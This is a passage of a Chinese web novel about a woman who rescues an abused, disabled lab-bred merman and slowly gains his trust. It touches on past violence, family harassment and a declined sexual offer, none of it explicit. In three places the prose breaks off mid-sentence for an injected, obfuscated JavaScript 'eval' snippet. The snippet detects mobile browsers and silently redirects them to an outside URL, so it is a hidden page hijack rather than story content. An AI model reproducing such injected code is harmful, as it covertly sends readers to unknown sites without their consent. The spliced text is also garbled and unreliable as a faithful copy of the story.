《捡来的残疾人鱼gb》 3. 实验定制人 医生恍然大悟,难怪人鱼对于疼痛如此迟钝:“它是实验定制人,这是它的身份信息。” 在科学研究和产品测试中,出于特定实验目的会专门饲养和使用实验动物,实验定制人就是这个作用。而且改造程度高的定制人身体系统几乎与人类无异,更有利于研究和测试。 医生叫来两名助手共同为人鱼检查,路溪法候在外面,感觉过了很久很久医生才出来。 “你的人鱼没有生命危险,不过情况不算太好,我跟你说下情况。” 人鱼严重营养不良;腰部曾遭受暴力损伤,导致小腿及足部运动功能丧失;声带受损,舌体存在撕裂伤,影响吞咽与语言功能,除此之外还有轻度失语症状。 腹部可见手术伤痕,但是印记很浅,暂时无法判断是什么手术;面部鳞片判断为人为剥落;身体广泛分布新旧不一的挫伤,符合反复暴力殴打所致特征。 最后医生话锋一转:“最棘手的还是心理问题,它现在处于极度敏感和极度麻木之中,一点动静都能让它惊恐不安,真正遭到伤害大脑反而一片空白。” 路溪法皱眉消化医生给的信息:“那要怎么给他治疗?” “它的舌头已经处理过了,后续按时复诊、遵照医嘱休养即可。腿错过了最佳治疗时间,加上我们医院没有定制人专属科室,能做的事情有限,如果你想继续为它治疗的话可以考虑转院。” 路溪法没说话,医生多问了一句:“你不清楚它过去的情况是吧?” “嗯,他是我才救助的。” “这样的话,我建议你先不要让它进入会令它恐惧的环境中,可以试着让它相信你、接受你、在你身边有安全感,这样更有利于后续治疗,不过这会是一段漫长的时间。” 路溪法谢过医生,进病房看人鱼。为了取下钢丝医生给他注射了麻醉剂,现在他还没醒。 没了那些恐惧、紧张、茫然的情绪,人鱼的面容格外安静。那副躯体苍白消瘦,仿佛一阵风都能吹走。 好在人鱼最终醒了过来,睁开眼后又用茫然的目光看着路溪法。 “你感觉怎么样?” “……” “舌头还疼吗?” “……” 人鱼没有反应,路溪法给他掖好被子:“你再睡一会儿吧,等你休息好了我们回家。” 人鱼只听见了回家俩字,掀开被子往床下滑,路溪法拦住他:“不要乱动。” “好的,主人。” “你不要总是叫我主人了,我叫路溪法。” “路溪法主人。” “我是说你可以直接叫我的名字。” 人鱼张了张嘴:“……主人。” 路溪法一时语塞,只好换了个问题:“你不打算再休息了吗?” 人鱼摇头。 “那走吧。”路溪法也不太喜欢医院的味道,带着人鱼返回公寓,把他安置在沙发上,“你等一下,我去收拾房间。” 次卧窗口向阳,床垫很软,就是床腿略高,不知道人鱼能不能爬上去。路溪法正收拾着,手机屏幕忽然亮了起来,来电显示依然是“刘”。 路溪法心生厌烦,不想理会,可是这次“刘”铁了心要联系她,电话短信轮番轰炸。 刘:看到消息回个电话,别让我担心 刘:为什么辞职?这么大的事你问过我一句吗? 刘:我知道你看见了,你就是故意躲着我,伤我的心 刘:你不是辞职了吗?9号回家吧,我给你和遥遥过生日 刘:又大了一岁怎么还是不懂事,我养你这么大到底图什么? 路溪法胸口涌起一股火气,挂了再次打进来的骚扰电话,发短信回复“刘”。 678:没空,9号不是我的生日 678:你隔三差五往公司打电话骚扰前台、造谣滋事,你说我为什么辞职? 刘:谁让你总是不接我电话,我不打电话问问怎么知道你安不安全? 刘:你的生日和遥遥就差两天,正好一起过了 678:那为什么不在7号庆祝,让刘遥“正好”? 刘:你老是计较这些做什么,你是姐姐,他是你弟弟 678:他不是我弟弟,他是你儿子 刘:你就这个态度,谁教你的? 刘:我把你养这么大,简直是养了一头白眼狼 678:需要我提醒你吗?我上大学你没给我一分钱 刘:那我养你这么大花的少了?吃的住的不要钱? 刘:你要是不想认我这个爸,就把你从小到大花的钱还给我,我不算你利息 678:做梦去吧 刘:早就知道你没良心,跟你那个妈一个样 刘:活该你妈不要你 路溪法心头火气越甚,表情越是冷若寒冰,客厅里却在此时响起不合时宜的哗啦声。她出来一看,人鱼不知何时滑下了沙发,正趴在椅子旁边。 路溪法冷声质问:“你做什么?我是不是说过让你待在沙发上?”随着她的脚步声逼近,人鱼又开始浑身发抖,自欺欺人地把脸埋进臂弯。 又是这样,路溪法觉得她因为“刘”而生出的愤怒蔓延到了人鱼身上。 “我留下你并不需要你做什么,但是如果你连交流都做不到——”路溪法停了片刻,“我会重新考虑我的决定。” 她的声音不算太高,不过足够人鱼听清。 大概过了几秒,人鱼从臂弯里抬起头,他的额上浮着薄汗,嘶哑的声音里充斥着崩溃:“我想……排泄……” 路溪法怔了怔,后知后觉地意识到人鱼从来到现在还没上过厕所。他的小腿本就没有力气,胡乱摊在地上,身体更是弓起痛苦的弧度。 “我知道了。”路溪法弯腰抱起人鱼,怀里的人不住颤抖。她把人鱼放在马桶上,还没走出卫生间身后便传来淅淅沥沥的水声。 路溪法径直走了出去,顺手关上了门。 过了许久卫生间里响起咚的一声,路溪法敲敲门:“你好了吗?我进去了。” “好的、主人。” 路溪法推开门,人鱼手足无措地跪在地上:“对不起主人,我会、收拾干净。” “不用,你出来吧。”路溪法打算再抱人鱼,可是人鱼根本不敢让她碰,手脚并用爬了出来,拉下衣袖擦拭客厅地板。 “你……”路溪法才说了一个字,想起医生的话强行把后几个字变得温柔:“……干什么?” “我擦、干净。” 还用擦吗?你在地上爬来爬去早就蹭干净了。 路溪法没直说,只说了一句不用。人鱼不知所措地趴在地上,路溪法只好改口:“做的不错。” 人鱼蔫了的表情明亮起来,继续卖力擦地,路溪法想一起擦好让他赶紧起来,人鱼连连拒绝:“我能、擦干净、我能……” 人鱼仔细擦拭他爬过的地方,路溪法一直等着他,直到人鱼停下来才说:“你过来吧,我要跟你说一些事情。” 人鱼爬过去伏在她脚边。 “上来。” 人鱼把头埋得更低了,看样子路溪法坐在沙发上他绝对不敢上去。路溪法提醒自己不要强迫他,保持声音平和:“对不起,我刚才不该冲你发火。” “……” “接下来你就要留在我家了,你知道吗?” “好的、主人。” “我会给你买辆轮椅,这样你会方便一些。” “谢谢主人。” “我不在家时你需要一个人待着,你能照顾好自己吗?” “好的主人。” “虽然不太可能,不过我还是要说一下,不要给陌生人开门,不对,不要给任何人开门。” “好的主人。” 路溪法说的所有事情人鱼都会回复好的,这样一来路溪法反而有点怀疑他到底好不好。 “其实我想说的很简单,你照顾好自己就行了。” “好的、主人。” 路溪法盯着人鱼看了半晌,他的表情被长发遮得严严实实,但不用想也知道是惶恐不安的。 “还有最后一件事,以后你不要睡沙发了。”路溪法走到次卧门口,示意人鱼进去,“你睡这里,如果爬不上去我给你买个小梯子。” 人鱼小心翼翼往房里看了一眼,磕磕巴巴地开口:“我不进去、卧室。” “我允许你进来。” “我不……卧室。”人鱼小声重复,甚至往后退了一点。 路溪法感到挫败,僵持片刻她放弃了:“好吧随你便吧。” 回到主卧,刘还在气急败坏地发消息。路溪法全都没看,已经不记得多少次了,跟他吵架根本没有意义,只会浪费她的时间,可是偶尔还是会忍不住。 随着平静一起来的还有疲惫,路溪法放下手机睡了过去,醒过来已经是傍晚,客厅里又没有了人鱼的身影。 他在厨房。 人鱼跪在凳子上,认真擦洗料理台,任何他能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527696|203590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够得到的地方都被擦得干干净净,没有一丝灰尘。 路溪法欲言又止,她应该没有在梦游时命令人鱼做家务吧? “你干了多久?” 人鱼扶着料理台,尽力转身面对路溪法:“我没有、看时间。” “你是实验定制人为什么还会做家务?” 人鱼捕捉到关键词“家务”,一个词一个词地回答:“我会做饭、洗碗、拖地、洗衣服、叠衣服、扔垃圾……” “你会这么多事情?” 人鱼抬头观察路溪法的表情,判断他应该继续说下去:“我会当狗、沙袋、脚踏、烟灰缸、垃圾桶……” 路溪法:“ 。” 人鱼的前主人到底是什么变态虐待狂啊,也就仗着没有定制人保护法。 人鱼一件件数完,发现路溪法面沉如水,顿时噤若寒蝉。路溪法眨眨眼睛调整表情:“我没生气,你不要再做那些事了。” 人鱼无所适从,声音低到快听不清:“我、有用。” “我不需要,你只要不给我添麻烦就好了。出来准备吃饭。” “冰箱、没有吃的。” “我点外卖。”路溪法下单了肉粥、蒸蛋,想想又下单了一些速食,万一她有事回不来人鱼不至于饿死。 吃饭时她让人鱼自己选择:“你愿意在沙发上坐着吃吗?” 人鱼趴在桌边:“我吃、地上的饭。” 路溪法把食物放到地上,坐在人鱼对面:“那我们一起吃吧。” 人鱼愣在原地,路溪法舀了一勺肉粥送进嘴里:“味道不错,你吃慢点,如果舌头疼就停下来。” 她给人鱼准备的勺子比较细长,能让他尽可能地把食物送进喉咙深处,不至于碰到伤口。在路溪法的耐心等待下,人鱼最终吃完了所有食物,没有出现流血情况。 路溪法很满意,准备收拾餐盒。她才伸手人鱼就看懂了她的意图,抢先捡起地上的垃圾:“我会、收拾。” 他的动作太过仓促,餐盒里的剩余酱汁溅到了身上,让那件旧衬衣越发难看。 路溪法斟酌着问:“你能自己洗澡吗?”问完她又补充:“不能的话我也可以帮你。” “好的主人,我会、清理自己。” 路溪法给浴缸放满水,又把沐浴露、浴巾之类的东西放在人鱼触手可及的地方:“有问题就叫我,我在客厅。” 人鱼小声向她保证:“我不会、麻烦主人……我会、清理自己。” 浴室里很快就响起了水声,路溪法想人鱼虽然腿脚不便,但是基本自理能力还是有的,然而还没等她想完水声就停了。 一瞬间,路溪法脑海里闪过危险的画面,该不会是人鱼滑进浴缸里起不来,又不敢叫她……在她胡思乱想的时候,里面终于又有了动静。 路溪法松了口气,打开电视随便选了一部电影,然后窝在沙发里玩手机,等到电影结束她才意识到人鱼已经进去两小时了。 “你洗好了吗?” 一门之隔,人鱼的声音仿佛被水汽浸透了,带着些许沉闷:“我洗、好了。” “那你怎么不出来?” “我没有、衣服。” 路溪法扶住额头,她现在一个人住,洗完澡浴巾一裹就出来了,完全忘了还有衣服的事。 “不好意思,你等我一下。” 路溪法从衣柜里拎出一套睡衣,她个子高,人鱼又那么纤细,应该能穿上。说起来还要多谢路云,遗传给了她好身高好眼睛好牙齿,让她在贫困潦倒的青春期没有为这些事窘迫过,大学时还被人主动问有没有兴趣做模特,她的穿搭很法式,适合她们店的风格,然后路溪法靠兼职模特挣到了不少生活费。 “你可以开门吗?” “我、没有锁。” “那我进去了?” “好的,主人。” 路溪法推开门,浴缸放干了水,人鱼披着浴巾趴在浴缸边缘,苍白的脸被热气蒸出绯红,反而显得气色好了很多。 它的长发和眼睛都湿漉漉的,看见路溪法递过来的睡衣,人鱼十分惶恐:“这是主人、的衣服。” “我洗过了。” “我、脏。” “你不是洗过澡了吗?” 人鱼低声重复:“我会弄脏、主人的衣服。” 路溪法满腹无语,随口说道:“那你什么都不穿了?” 人鱼的视线在睡衣上停留了一会儿,然后松开抓着浴巾的手:“好的,主人。” 4.你的主人是我 路溪法眼中猝不及防映入一片雪白:“等等等等,我开玩笑的,这衣服我不要了。” 人鱼又趴下去,金色长发散在背上:“它、还很新。” “它穿着不舒服,我一穿它就睡不着觉!” 人鱼信以为真,伸出双手:“谢谢、主人。” 路溪法转身面向门外,几分钟后,身后传来人鱼的声音:“我穿好了。” 路溪法转回来,果然鱼靠衣装,换了衣服后人鱼看起来面貌一新,终于没有那种奄奄一息的感觉了。 “你现在是美人鱼了。” “我长得、丑……” “谁说的?明明就很好看,你的眼睛很大,颜色也很漂亮,睫毛还特别长。”路溪法盯着人鱼的脸欣赏,“等你脸上的伤好了还会更好看的,眼尾下的鳞片应该能长出来吧。” 人鱼在路溪法的目光中低下头:“之前的、主人说、看见我会、恶心。” “才没有,我看见你很开心。”路溪法说了点儿违心的话,她第一次看见人鱼时很意外,不过绝对没有觉得恶心。 人鱼眨了几下眼睛,小声地说:“我的鳞片会、长回来。” “真的吗?太好了。” “拔过好几次、都、长回来了。” “这次不会有人拔了。” 路溪法把人鱼抱回沙发,递给他吹风机。人鱼努力探出身子避免长发沾湿沙发 ,他的动作很不熟练,头发又长,吹了半天给自己吹出一只鸡窝。 路溪法拿出白天买的药,一样样给人鱼介绍:“这是涂在伤口上的,这是口服的,这是补钙、补充维生素的。”她挑出一部分药推到人鱼面前,“这是今晚要吃的。” 人鱼呼吸发紧,洗澡时面上熏出来的一点血色褪得干干净净。 “你怕苦吗?可能会有点苦,好在没有冲剂,你只要一口气把药吞下去就行了。” 人鱼艰难地开口:“我会、吃的。” 路溪法点点头,拿起杯子接水,没想到转个身的功夫,人鱼竟然抓起药片塞进嘴里嚼了起来。 “喂喂喂你干什么?” “我会、把药吃完。” “谁让你吃完了?这是好几天的量,赶紧吐出来。” 路溪法压住人鱼肩膀让他张嘴,破碎的药片掉进垃圾桶里。 “漱口。” 人鱼灌了一大口水,然后把水也吞了下去。 路溪法额角跳动:“我是让你漱口,算了喝吧,把苦味咽下去也行。” 折腾了一通,路溪法不敢再让人鱼吃药了,谁知道他刚才有没有把药渣吞进肚子里。“你嘴里还苦吗?” 人鱼意识到自己做了错事,怯怯地不敢说话。 “不说我也知道,肯定很苦。”路溪法打开冰箱拿了两盒冰激凌,“香草和原味,你吃哪个?” “我、不吃……” “我要吃原味,你吃香草吧。” 路溪法选择性忽略人鱼的话,把香草冰激凌塞进他手里,瞥见电视上的滚动推荐,心血来潮找出《疯狂动物城》点了播放。播到朱迪和尼克去车管所时路溪法悄悄观察人鱼,他的表情一本正经,蓝色眼瞳中光影浮动,倒映出树懒慢——慢——说话、慢——慢——微笑的样子。 人鱼转过头,两人目光相接,路溪法忍俊不禁,笑完她又解释:“你是因为舌头受伤说话才慢慢的,等你好了就不会了。” 看完电影时候也不早了,路溪法跟人鱼说了晚安,回到卧室顺手打开手机查看监控。 人鱼穿着睡衣坐在沙发上,他的香草冰激凌还没吃完,已经化成水了,但是人鱼没有把它丢掉,还在小口小口舔舐。 人鱼吃了半天,路溪法也看了半天,看着看着忽然反应过来她怎么那么无聊,放下手机睡了。 该说不说这个房子真的很不错,隔音效果特别好,夜里几乎听不到噪音——所以当路溪法在睡梦中听见窸窸窣窣的动静时,几乎立刻惊醒过来,啪地打开了灯。 灯光骤亮,照出一具雪白躯体,人鱼赤身裸体跪在床边,脱下来的睡衣被他叠得整整齐齐。 路溪法被那片雪白晃了眼睛:“你干什么???” 人鱼认真地问:“主人需要、使用我吗?” “使用什么?” “使用我的、身体。” 路溪法怀疑自己听错了,因为太过震惊,她在沉默后冷不防地蹦出一句:“你成年了吗?” “我是、成年鱼了。”人鱼努力挺直腰腹指向身下,路溪法只看见一抹红就赶紧移开了视线。 “谢谢,绝对不用。” “主人、嫌我小吗?” 路溪法:“……”你说清楚是哪个小啊! 人鱼跪趴下去,虽然他的腿不方便用力,但是那截细腰极为柔软,随着他的动作塌下一道惊心动魄的弧度。 “这样、可以吗?” “……不用。” 路溪法一再拒绝,人鱼的声音里爬上惶恐:“主人觉得、我、没用吗?” 路溪法才觉得惶恐:“那也不能这么用吧。” “我吃了、主人、给的食物。” 哦,路溪法大概明白了人鱼的逻辑,他觉得自己要有用才配留下、才配吃饭。 “你先把衣服穿上,如果你非要做点什么,就帮我浇浇花。” 路溪法带着人鱼来到阳台上,那里摆了一排形状各异的小盆栽:“介绍你们认识一下,这是秋香、翠翠、阿丽娅、云宝和吕布。” 即使不知道吕布是谁,人鱼也听出来了最后一个盆栽的名字不太一样,眼中略有疑惑。 “因为它是别人送给何雨微、何雨微跑路后又被我捡来养的。”路溪法喜欢给自己的东西取名,比如她的垃圾桶叫大嘴,监控摄像头叫莫妮卡。冰箱没有名字,因为那是房东的东西。 人鱼点头:“我会、做好的。” 路溪法再三叮嘱人鱼好好睡觉,不要想东想西,然后反锁卧室的门躺在床上。 半个小时过去,路溪法毫无困意。 都怪人鱼!她现在满脑子都是那截柔软的腰,感觉一只手都能掐住,还有人鱼小腹上红色的东西是什么?转头太快了没看清啊。 第二天路溪法很晚才醒,慢吞吞地走出卧室,虽然昨晚发生了一点小插曲,但是在她的想象中,人鱼应该感受到了她的善意,也许会坐在沙发上微笑着向她打招呼。 ——现实却是人鱼缩成一团睡在墙角,就像他才来时那样。 想象中的画面碎了一地,路溪法走过去拍拍人鱼的肩膀:“起床了。” 人鱼没有反应,路溪法疑惑他睡这么熟吗?明明之前一点动静都能让他惊恐不已。路溪法想叫人鱼,话到嘴边才想起他没有名字,硬是憋出一句:“鱼?” 人鱼还是没有反应,路溪法意识到不对,伸手拨开人鱼脸上的长发,这才发现他面颊通红,呼吸滚烫。 哪里是睡熟了,根本就是发烧睡晕了。 昨天不该让他吃冰激凌,更不该让他吃完冰激凌睡地板。 路溪法抱起人鱼放到沙发上,他烧得迷迷糊糊,无意识地呢喃着。测完体温显示38.6℃,还好,不是太高,应该是他太过虚弱才会昏睡不醒。 路溪法决定先让人鱼吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533095|203590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药休息,如果体温降不下来再去医院。她把人鱼扶起来靠在怀里,捏开他的嘴巴塞了一颗胶囊进去:“喝水,把药吞了。” 人鱼意识混沌,无法辨别指令。路溪法给他灌了口水,手动帮他闭上嘴巴,人鱼喉结滚动,一部分水咽了下去,一部分水顺着嘴角流了出来。 路溪法检查他的嘴巴,人鱼牙齿整洁,舌尖粉嫩,舌中部是钢丝留下的伤口,伤口后面粘着退烧胶囊。 不行,喂不进去。路溪法把心一横,食指探进人鱼嘴里抵住那粒胶囊,尽可能地送到他的喉咙深处。人鱼呜咽一声,舌尖卷住路溪法的指根,湿热的呼吸越发紊乱。 路溪法也很不好受,匆匆忙忙收回手指,又给人鱼喂了口水。 “喝下去吧喝下去吧。”路溪法反复尝试,杯子里的水渐渐见了底,人鱼嘴里也终于看不到退烧药了,“现在是十点半,如果一个小时后你的体温没有下降我就要带你去医院了。” 人鱼无知无觉,口中吐出含糊不清的话。四十五分钟后,路溪法第三次拿起测温枪,终于看到了一个下降的温度。 人鱼脸上仍旧浮着病态的红色,但是呼吸听起来舒缓了很多。昏睡的这段时间他几乎一直在说梦话,路溪法随口安慰他:“别害怕,我们不用去医院了。” 人鱼哼出泣音,夹杂着破碎的字句,很短,路溪法之前没注意,现在凝神听了一下。 他在说......疼。 医生说过他是实验定制人,早就对疼痛麻木了,所以哪怕舌头上穿着钢丝,他也能忍痛不说一句话。 可是现在,人鱼长睫濡湿,陷在痛苦的梦境里,一声声地说他好疼。 路溪法一时语塞,最后轻轻叹了口气。 中午时分人鱼终于醒了过来,路溪法问他:“还难受吗?” 人鱼觉得他的嗓子更哑了,又干又痛。 路溪法递给他一杯温水:“以后这就是你的杯子了,上面有你的标记。” 人鱼爬起来接过杯子,上面多了一张贴纸,是一条黄色的小鱼,眼睛大大的,表情呆呆的。 人鱼睁大眼睛,他的脑子还没完全清醒,这副表情看起来更像贴纸了,路溪法笑得不行:“喝吧,喝完吃饭。” 人鱼一如既往滑下沙发趴在地上,路溪法想了想,郑重地问:“是之前那个人要求你趴在地上吃饭的吗?” 人鱼面色僵硬,即便只是提起对方都会让他感到不安:“是主人、的规矩。” “但是现在你的主人是我。”路溪法直视着人鱼的眼睛,一直望进那片湛蓝深处,“我向你保证,我不会用语言羞辱你,也不会用暴力伤害你。有的时候我想让你听从我的意见,是因为我希望你得到正常的对待。” 人鱼屏住呼吸,路溪法一字一句地问他:“你愿意相信我吗?” 两人望着彼此,长久的沉默后人鱼默默垂下了头,路溪法依然注视着他:“坐在沙发上吃吧。” 人鱼没有说话,乖顺地爬上了沙发。路溪法不确定他是因为相信自己还是因为害怕自己,就像他害怕前主人那样,但总归是个开始。 吃完了饭,路溪法给人鱼看她做的小鱼日程表:“明天我要出去面试,你按照日程表完成吃饭吃药任务,攒够10分就能兑换一个愿望。” 人鱼看着表格,眉宇间有些许困惑,路溪法忽然意识到一个问题:“你认字吗?” 人鱼先是点头,然后摇头:“认识一些。” 路溪法指了几个药品名字,人鱼念了出来,她这才放心了。 “只要不吃错药就没问题,对了,今晚睡觉不许再偷偷溜下沙发。” 5.关爱空巢人鱼 次日早上,路溪法很欣慰看见人鱼接受了她的建议,安静地待在沙发上。不知道是不是因为洗漱声吵醒了他,人鱼早早醒了过来,一直默默望着路溪法,直到她出门。 路溪法约了两场面试,第二场面试结束后她走出大楼,面试官的声音仿佛还在耳边。 “不管是简历还是你自身的工作阐述,都能看出你在前公司发展得很不错,想了解下你离职的主要原因是什么?” 路溪法顿了片刻,回答因为个人规划,总不能说因为她很倒霉,摊上一个为了问她要钱不惜打公司电话骚扰前台的爸,如果让他知道自己入职的新公司,他肯定还会换个前台继续骚扰。 有风吹过,路溪法收回思绪。她没直接回家,沿途走走停停,每路过一家蛋糕店都要进去看看,最后买了一个她觉得最好看的蛋糕。 今天是7号。 到家后路溪法拉开门,猝不及防看见地上趴着一道人影,吓了一跳,然后才认出来是人鱼。 “你怎么在这里?” 人鱼双手捧起小鱼日程表,上面多了几个勾,笔迹笨拙又认真:“我完成了。” “哦,好,我看看你多少分了。”路溪法的计算方法简单明了,完成一项就是一分,“已经7分了,估计明天就能攒够10分兑换愿望,你可以先想想需要什么。” “主人已经、给了我衣服。” “那不一样,晚上喝粥怎么样?” “我做了饭。” 人鱼指向厨房,料理台上摆着两只盘子,一荤一素卖相相当不错,就是快凉透了。 “对不起,我不知道、主人什么时候、回来。” 路溪法微微怔住,随即提起唇角:“没事,热一下就好了。还有,谢谢你准备的晚饭。” 吃饭的时候路溪法什么都没有说,人鱼在她身边磨蹭片刻,默默爬上沙发。 路溪法很满意,尝了一口热过的菜大为意外:“你做饭好好吃。” “主人、喜欢吃吗?” “喜欢。” 人鱼的厨艺完全超出了路溪法预料,以至于她有点吃撑了,不过她还是打开了蛋糕盒子,切了一块递给人鱼:“你还吃得下吗?” “谢谢、主人。” 路溪法喜欢吃甜食,这只精心挑选的蛋糕没有辜负她的期望,味道十分不错。她和人鱼各自吃着蛋糕,客厅里很安静,她的手机躺在桌上,前几天孜孜不倦打电话的“刘”一条消息也没发来。 吃完之后路溪法拿起小鱼日程表加了几条:“准备晚饭,1分;主动坐上沙发,1分;陪我吃蛋糕,1分。你已经攒够10分了,想到愿望了吗?” 人鱼摇头,路溪法写好明天的待办事项,把日程表还给人鱼:“那就先攒着吧,你的愿望在我这里不会过期。” 人鱼接过日程表,目光长久地落在那几行字迹上。 “主人。”他忽然开口。 “怎么了?” “生日、快乐。” 路溪法笑了起来:“谢谢。” 这个生日也没她想象中的那么糟嘛。 路溪法觉得她今晚会睡个好觉,黑屏许久的手机却在此时亮了起来,提示她的邮箱多了一封邮件—— “我收到offer了?” 路溪法看了两遍,真的是她最想去的梦中情司。她想向全世界分享这个好消息,而她身边现在只有一个人。 “鱼,下个星期我就要去上班了。” 人鱼表情懵懂,上班对他来说十分陌生,不过他还是努力做了回应:“谢谢、主人。” 路溪法心情愉悦,连人鱼的答非所问都让她觉得有趣:“不客气、鱼。” 公司离得不远,通勤大概半个小时,最重要的是工资涨幅很大,原来的问题一下子就不是问题了。 正式上班那天路溪法嘱咐人鱼独自在家好好照顾自己,人鱼也答应了,但是到公司后路溪法还是有些不放心,通过莫妮卡查看他的情况。 监控中人鱼端正地坐在沙发上,眼睛盯着桌子,上面有一只时钟和一排药片。 时间一到,人鱼准时拿起拿起药片塞进嘴里,喝了满满一大杯水。完成任务后他在日程表上打上对应的勾,然后又变成了安安静静的状态。 很听话,也很像……一条空巢人鱼。 路溪法不敢想要是换成自己该有多么无聊,她想和人鱼打声招呼,开口说话才想起来莫妮卡坏了不能通话,因为摄像功能没受影响,所以她就一直偷懒没换。 路溪法转动莫妮卡,试图以此引起人鱼注意,可是人鱼只是看了一眼就移开了目光。 路溪法左思右想,灵机一动,远程控制打开电视。屏幕突然亮起人鱼吓了一跳,环顾四周没看见人才慢慢平静下来。 看着五花八门的首页推荐,路溪法一时不知道该给人鱼看什么,于是挨个点开观察人鱼对哪个节目感兴趣。 综艺,人鱼面露迷茫,不太理解游戏规则,也听不懂那些笑点。电影,开场就是一阵惊险刺激的追逐打戏,人鱼下意识缩起肩膀,路溪法马上切走了。 对了,可以看动物世界纪录片!路溪法兴冲冲地找到关于海洋的章节。 “一群蓝鳍鲹鱼正列队穿行......鳞片折射出粼粼冷光......每一次摆尾都精准契合着浪涌的节奏......” 旁白的声音低沉舒缓,仿佛是从那片幽深海域传出来的,带着古老神秘的气息。 路溪法抹了抹眼角不存在的泪,啊,这一定就是素未谋面的故乡在召唤吧。她看向人鱼,期待从他脸上看见淡淡的乡愁,然而人鱼没有任何表情。 路溪法:“......” 怎么回事?他不是人鱼吗? 路溪法讪讪退出频道,首页推荐滚动到了电视剧版块,她特意挑了一个封面看起来青春校园的现代剧,猜测应该不会出现暴力内容。 果然开头就是充满活力的主角团在打打闹闹,蓝白校服满是青春气息,最大的烦恼就是考试。 人鱼坐直身体,表情认真,路溪法见他好像有兴趣,加上休息时间要结束了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537084|203590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是放下手机继续工作。 一天工作结束,路溪法准时下班回家,人鱼捧着日程表跪在门口,像是早就知道她要回来:“主人,我完成了。” “真棒,今天的电视好看吗?”路溪法示意人鱼来沙发上坐,拆开快递拿出一对护膝,“戴上试试。” 人鱼小心翼翼伸出手,护膝轻便柔软,可以想象如果用它们包住膝盖,一定可以隔绝很多疼痛。 “谢谢、主人。” 人鱼弯腰提起自己腿,他的肤色很白,因此膝盖上的青紫格外明显。也许是某种鱼类基因的作用,他的腿上干干净净,跟腱纤细,脚腕外侧散落着细碎的鳞片,尽管小腿无法使力也没出现肌肉萎缩。 真是可惜,这样一双适合奔跑跳跃的腿,现在什么都做不了。 人鱼第一次使用护膝,动作很不熟练,想到路溪法正在等他戴好护具不免有些着急,直到面前递来一只修长的手。 “我帮你?”路溪法的语气十分自然,人鱼看着她的指尖,有那么一瞬间,他相信自己就算拒绝路溪法她也不会生气,所以……他想答应。 “谢谢主人。” “不要总说谢谢了。”路溪法俯身调整护膝,“松紧可以吗?” “嗯。” “那你再弯一下膝盖试试。” “主人、我动不了。” 路溪法哦了一声,抓住人鱼的小腿往上抬,他的身体超乎想象的软,而且坐得不稳,路溪法只是碰了一下人鱼就歪到了她怀里。 两人都没想到会有这么一出,自然也就没有防备,路溪法只觉得肩上一重,人鱼的就脑袋磕了上来。 “对不起。” “主人、不用说对不起。” 路溪法有些不好意思,扶着人鱼坐好:“弯曲膝盖时没勒到你吧?” “没有。” “那就好,以后你就戴着护膝行动。” 轮椅已经送到家了,可是人鱼总是执着地跪在门口等她回来,向她汇报日程,重点是他做了什么饭。 一开始路溪法还会想默许一条残疾人鱼给她做饭是不是不太好,但架不住人鱼做的饭实在太好吃了。 思来想去,路溪法只能从其他地方补偿人鱼,即使人鱼始终没有想到愿望,她也每天找借口给他奖励,现在人鱼从头到脚都换上了新衣服。 经过一段时间的休养,人鱼的气色明显好多了,如他所说,他眼尾下的红肿消了下去,开始生长新的鳞片,虽然颜色十分浅淡,但是每当有光从他脸上掠过,那些鳞片便会熠熠生辉。 目光再往下些,人鱼的脖颈两侧各有三道印记,线条优美,颜色粉嫩,乍看像是才脱落结痂的伤痕。 路溪法知道那是人鱼的鳃裂,像他这种基因改造程度特别高的定制人,多半只能和人一样用肺呼吸,鳃裂只是个装饰品。 看到人鱼的腿,路溪法停下目光。医生建议她带人鱼去看中医,试试针灸。路溪法考虑过这件事,她是很愿意的,就是不知道人鱼什么时候才能信任她,愿意跟她去医院。 6.义务教育漏网之鱼 路溪法一进公司就被同事李游投喂了一只煎饺:“好吃吗?” 李游是她入职后第一个熟悉起来的人,两人经常聊天,但是……煎饺并不好吃,皮是干的,馅儿是硬的,味道是没有的。 李游哈哈大笑:“不好吃就对了,我妈亲手做的,非让我带来给大家尝尝。” 路溪法努力咽了下去,李游又给她一杯豆浆:“这个可以喝,我买的。” “谢谢。” 路溪法拉开椅子坐下,李游忽然正经起来,问她:“现在你面前有两个按钮,按下左边能够财富自由,按下右边能够得到我的吻,你选什么?” “右边。” “真的假的?财富自由都没我重要?” 路溪法吸了一口豆浆:“我已经财富自由了,我想没钱就没钱。” 李游马上抓住路溪法亲亲:“那我一定要实现你的愿望。” 两人聊了好久才各自去工作,没过多久李游忽然又冒出头,好奇地问:“你怎么笑得这么开心?” “有吗?”路溪法摸摸嘴角。 “我发现你最近上班都很开心。” “有……吗?” 